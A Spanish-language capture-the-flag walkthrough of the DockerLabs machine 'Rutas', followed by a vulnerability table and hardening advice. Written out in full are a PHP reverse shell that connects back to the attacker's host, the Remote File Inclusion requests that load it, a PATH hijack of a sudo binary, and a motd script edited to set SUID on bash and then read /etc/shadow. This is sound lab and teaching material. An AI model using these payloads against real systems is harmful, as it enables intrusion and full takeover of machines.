Ir al contenido

Rutas

Este documento detalla la metodología y procedimiento completo para comprometer la máquina Rutas, desarrollada por firstatack para DockerLabs y clasificada con dificultad Media. Esta máquina presenta un escenario multifacético donde múltiples técnicas de explotación se encadenan para lograr acceso completo al sistema.

La resolución sigue una metodología estructurada:

  1. Reconocimiento: Enumeración de servicios y descubrimiento de archivos mediante FTP anónimo.
  2. Explotación: Análisis de esteganografía, bypass de autenticación y explotación de Remote File Inclusion (RFI).
  3. Escalada de privilegios: Abuso de PATH hijacking, decodificación de credenciales y manipulación de archivos de motd.

El entorno de prueba fue desplegado localmente mediante DockerLabs, simulando vulnerabilidades reales en múltiples capas de seguridad.


AtributoValor
NombreRutas
Autorfirstatack
DificultadMedio
Fecha25/06/2025
PlataformaDockerLabs
IP Objetivo172.17.0.2

Descomprimimos el archivo de la máquina y la desplegamos:

Ventana de terminal
unzip Rutas.zip
sudo bash auto_deploy.sh Rutas.tar

IP asignada

Figura 1: Dirección IP asignada al contenedor

Creamos una estructura organizada para documentar el proceso:

Ventana de terminal
mkdir -p Rutas/{content,exploits,nmap,gobuster,scripts}
cd Rutas

Ejecutamos un escaneo TCP SYN para identificar servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Resultados:

  • 21/tcp — FTP (File Transfer Protocol)
  • 22/tcp — SSH (Secure Shell)
  • 80/tcp — HTTP (Web Server)

Puertos abiertos

Figura 2: Servicios expuestos en la máquina

Realizamos un escaneo detallado del servicio FTP:

Ventana de terminal
nmap -sCV -p21 172.17.0.2

Análisis FTP

Figura 3: Servicio FTP con autenticación anónima habilitada

Hallazgos importantes:

  • FTP anónimo habilitado (ftp-anon: Anonymous FTP login allowed)
  • Usuario: anonymous sin contraseña requerida
  • Servidor: vsftpd 3.0.5

Accedemos al servicio FTP anónimo:

Ventana de terminal
ftp 172.17.0.2
# Usuario: anonymous
# Contraseña: [cualquier valor o en blanco]

Archivos descubiertos:

  1. hola_disfruta — Archivo vacío
  2. respeta.zip — Archivo ZIP protegido con contraseña

Descargamos el archivo ZIP:

Ventana de terminal
get respeta.zip
bye

Realizamos un escaneo de directorios en el puerto 80:

Ventana de terminal
feroxbuster -u http://172.17.0.2 -d 0 \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,txt,html,js,bak,old \
-t 40 \
-C 404

Escaneo web

Figura 4: Resultados del escaneo en puerto 80

  1. /index.html — Página principal por defecto de Apache

    Ventana de terminal
    curl -s http://172.17.0.2/
  2. /index.php — Aplicación web con dominio personalizado

    Ventana de terminal
    curl -s http://172.17.0.2/index.php | grep -o 'trackedvuln\.dl'

    Hallazgo: La aplicación referencia el dominio trackedvuln.dl

Agregamos el dominio descubierto al archivo /etc/hosts:

Ventana de terminal
echo "172.17.0.2 trackedvuln.dl" | sudo tee -a /etc/hosts

Al acceder a http://trackedvuln.dl, encontramos un pop-up de autenticación HTTP Basic.


Extraemos el hash del archivo ZIP y realizamos fuerza bruta:

Ventana de terminal
# Extraemos hash
zip2john respeta.zip > zip_hash.txt
# Ataque de fuerza bruta
john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt

Crackeo ZIP

Figura 5: Contraseña del ZIP crackeada

Contraseña obtenida: iloveyou

Descomprimimos el archivo con la contraseña obtenida:

Ventana de terminal
unzip -P 'iloveyou' respeta.zip

Archivo extraído: oculto.txt

Contenido de oculto.txt

Figura 6: Instrucciones sobre imagen oculta

Seguimos las instrucciones y descargamos la imagen:

Ventana de terminal
wget https://firstack.github.io/assets/crackpass.jpg

Realizamos análisis de esteganografía:

Ventana de terminal
# Verificamos metadatos
exiftool crackpass.jpg
# Probamos steghide
steghide info crackpass.jpg

Información de steghide

Figura 7: Archivo embebido detectado en la imagen

Utilizamos stegseek para extraer el contenido:

Ventana de terminal
stegseek crackpass.jpg /usr/share/wordlists/rockyou.txt

Archivo extraído: pass

Contenido del archivo pass

Figura 8: Credenciales en formato user:password

Credenciales obtenidas: norberto:b4ck1n4ct10n

Utilizamos las credenciales para acceder al sitio web:

Ventana de terminal
# Creamos credenciales base64
echo -n 'norberto:b4ck1n4ct10n' | base64
# Probamos acceso
curl -H "Authorization: Basic $(echo -n 'norberto:b4ck1n4ct10n' | base64)" \
http://trackedvuln.dl/

Realizamos fuzzing para descubrir parámetros:

Ventana de terminal
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-u "http://trackedvuln.dl/index.php?FUZZ=test" \
-H "Authorization: Basic $(echo -n 'norberto:b4ck1n4ct10n' | base64)" \
-fw 155

Resultado del fuzzing

Figura 9: Parámetro love descubierto

3.7 Análisis del Comportamiento del Parámetro

Sección titulada «3.7 Análisis del Comportamiento del Parámetro»

Probamos el parámetro descubierto:

Ventana de terminal
curl -H "Authorization: Basic $(echo -n 'norberto:b4ck1n4ct10n' | base64)" \
"http://trackedvuln.dl/index.php?love=/etc/passwd"

Respuesta del parámetro love

Figura 10: El parámetro parece cargar contenido de archivos/URLs

Observación: El parámetro love carga contenido de manera similar a una inclusión de archivos.

3.8 Explotación de Remote File Inclusion (RFI)

Sección titulada «3.8 Explotación de Remote File Inclusion (RFI)»

Creamos un archivo malicioso para obtener reverse shell:

shell.php
<?php
$ip = "172.17.0.1";
$port = 443;
$shell = "/bin/bash";
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if(!$sock) {
die("Error de conexión: $errstr ($errno)");
}
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open($shell, $descriptorspec, $pipes);
proc_close($process);
?>

Iniciamos un servidor web local:

Ventana de terminal
python3 -m http.server 80

Probamos cargar nuestro servidor:

Ventana de terminal
curl -H "Authorization: Basic $(echo -n 'norberto:b4ck1n4ct10n' | base64)" \
"http://trackedvuln.dl/index.php?love=http://172.17.0.1"

Listado de directorio

Figura 11: RFI exitoso - listado de directorio del atacante

Iniciamos un listener y ejecutamos la reverse shell:

Ventana de terminal
# En el atacante - listener
nc -nlvp 443
# En el atacante - ejecutar RFI
curl -H "Authorization: Basic $(echo -n 'norberto:b4ck1n4ct10n' | base64)" \
"http://trackedvuln.dl/index.php?love=http://172.17.0.1/shell.php"

Reverse shell obtenida

Figura 12: Shell como www-data obtenida mediante RFI

Ventana de terminal
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin

Comenzamos la enumeración post-explotación:

Ventana de terminal
whoami # www-data
id
pwd
ls -la
Ventana de terminal
sudo -l

Privilegios sudo de www-data

Figura 13: www-data puede ejecutar /usr/bin/baner como norberto

Hallazgo: (norberto) NOPASSWD: /usr/bin/baner

Ventana de terminal
# Examinamos el binario
file /usr/bin/baner
strings /usr/bin/baner | head -20

Observación: El binario ejecuta comandos head con rutas relativas.

El binario utiliza head sin ruta absoluta, permitiendo PATH hijacking:

Ventana de terminal
# Creamos un archivo head malicioso
echo '/bin/bash' > /tmp/head
chmod +x /tmp/head
# Modificamos PATH para priorizar /tmp
export PATH=/tmp:$PATH
# Ejecutamos baner como norberto
sudo -u norberto /usr/bin/baner

Shell como norberto

Figura 14: Acceso como usuario norberto obtenido

Ventana de terminal
whoami
pwd
ls -la

4.3.2 Descubrimiento de Credenciales Codificadas

Sección titulada «4.3.2 Descubrimiento de Credenciales Codificadas»

Encontramos un archivo con credenciales codificadas:

Ventana de terminal
cat .miscredenciales

Credenciales en Braille

Figura 15: Credenciales codificadas en Braille

Identificamos que está codificado en Braille y utilizamos herramientas o tablas de conversión para decodificar:

Resultado decodificado: Credenciales SSH para norberto

Nos conectamos por SSH utilizando las credenciales decodificadas:

Ventana de terminal
ssh norberto@172.17.0.2

Observación: Al conectarnos por SSH, obtenemos una shell con el UID de maria (debido a configuración de rbash o restricciones).

Ventana de terminal
id # Muestra uid=1001(maria) pero estamos en sesión SSH como norberto
pwd
ls -la /home/maria/

4.3.6 Descubrimiento de Credenciales de maria

Sección titulada «4.3.6 Descubrimiento de Credenciales de maria»

Encontramos archivo con credenciales en el home de maria:

Ventana de terminal
cat /home/maria/.pass

Contraseña de maria

Figura 16: Contraseña de maria en texto plano

Ventana de terminal
su maria
# Contraseña: [obtenida del archivo .pass]

Shell como maria

Figura 17: Acceso como usuario maria

Ventana de terminal
whoami
sudo -l
find / -perm -4000 2>/dev/null

Buscamos archivos con permisos de escritura:

Ventana de terminal
find / -writable 2>/dev/null | grep -v /proc/ | head -20

Archivos escriturables

Figura 18: Archivo 00-header con permisos de escritura

Ventana de terminal
ls -la /etc/update-motd.d/00-header
file /etc/update-motd.d/00-header
cat /etc/update-motd.d/00-header

Hallazgo: /etc/update-motd.d/00-header tiene permisos 777 y se ejecuta al conectar por SSH.

Modificamos el archivo para otorgar privilegios SUID a bash:

Ventana de terminal
echo 'chmod u+s /bin/bash' >> /etc/update-motd.d/00-header
chmod +x /etc/update-motd.d/00-header

Nos reconectamos por SSH para ejecutar el script modificado:

Ventana de terminal
ssh maria@172.17.0.2

Verificamos y utilizamos bash con bit SUID:

Ventana de terminal
# Verificamos permisos
ls -la /bin/bash
# Ejecutamos bash con privilegios preservados
/bin/bash -p

Shell como root

Figura 19: Acceso root obtenido

Ventana de terminal
id
whoami
cat /etc/shadow | head -1

VulnerabilidadSeveridadImpactoCWE/Referencia
FTP anónimo habilitadoAltaExposición de archivos sensiblesCWE-287
Archivos ZIP con contraseñas débilesMediaAcceso a información ocultaCWE-521
Esteganografía sin protección adecuadaMediaOcultamiento de credencialesCWE-312
Remote File Inclusion (RFI)CríticaEjecución remota de códigoCWE-98
PATH hijacking en binarios sudoCríticaEscalada horizontal de privilegiosCWE-426
Credenciales en texto plano/codificado débilAltaCompromiso de cuentasCWE-312
Archivos de MOTD con permisos excesivosCríticaEscalada vertical a rootCWE-732
Reutilización de credenciales entre serviciosMediaPropagación de compromisoCWE-308
  1. Configuración Segura de FTP:

    • Deshabilitar acceso anónimo
    • Implementar autenticación fuerte
    • Utilizar FTPS o SFTP en lugar de FTP
    /etc/vsftpd.conf
    anonymous_enable=NO
    local_enable=YES
    ssl_enable=YES
  2. Protección de Archivos Confidenciales:

    • Utilizar cifrado fuerte con contraseñas complejas
    • Implementar gestión de secretos centralizada
    • Evitar almacenar credenciales en texto plano
    Ventana de terminal
    # Usar GPG con clave fuerte
    gpg --symmetric --cipher-algo AES256 archivo.txt
  3. Prevención de RFI/LFI:

    • Validar y sanitizar todas las entradas de usuario
    • Implementar lista blanca de URLs/hosts permitidos
    • Deshabilitar allow_url_include en PHP
    // php.ini configuration
    allow_url_fopen = Off
    allow_url_include = Off
  4. Seguridad en Binarios y PATH:

    • Usar rutas absolutas en scripts y binarios
    • Validar y sanitizar variables de entorno
    • Implementar el principio de mínimo privilegio
    Ventana de terminal
    # INCORRECTO
    head /etc/passwd
    # CORRECTO
    /usr/bin/head /etc/passwd
  5. Gestión de Archivos de Sistema:

    • Aplicar permisos estrictos en /etc/update-motd.d/
    • Implementar controles de integridad de archivos
    • Monitorear modificaciones en archivos críticos
    Ventana de terminal
    # Permisos correctos para motd
    chmod 755 /etc/update-motd.d/00-header
    chown root:root /etc/update-motd.d/00-header
  6. Protección de Credenciales:

    • Implementar autenticación multifactor
    • Utilizar gestores de contraseñas seguros
    • Rotar credenciales regularmente
    • Auditar ubicaciones de almacenamiento de credenciales
  7. Hardening del Sistema:

    • Configurar SELinux/AppArmor
    • Implementar logging y monitoreo centralizado
    • Realizar auditorías de seguridad periódicas
    • Mantener sistemas y aplicaciones actualizados
  8. Concienciación y Capacitación:

    • Capacitar en desarrollo seguro
    • Establecer políticas de manejo de datos sensibles
    • Realizar ejercicios de respuesta a incidentes
    • Implementar programas de seguridad para desarrolladores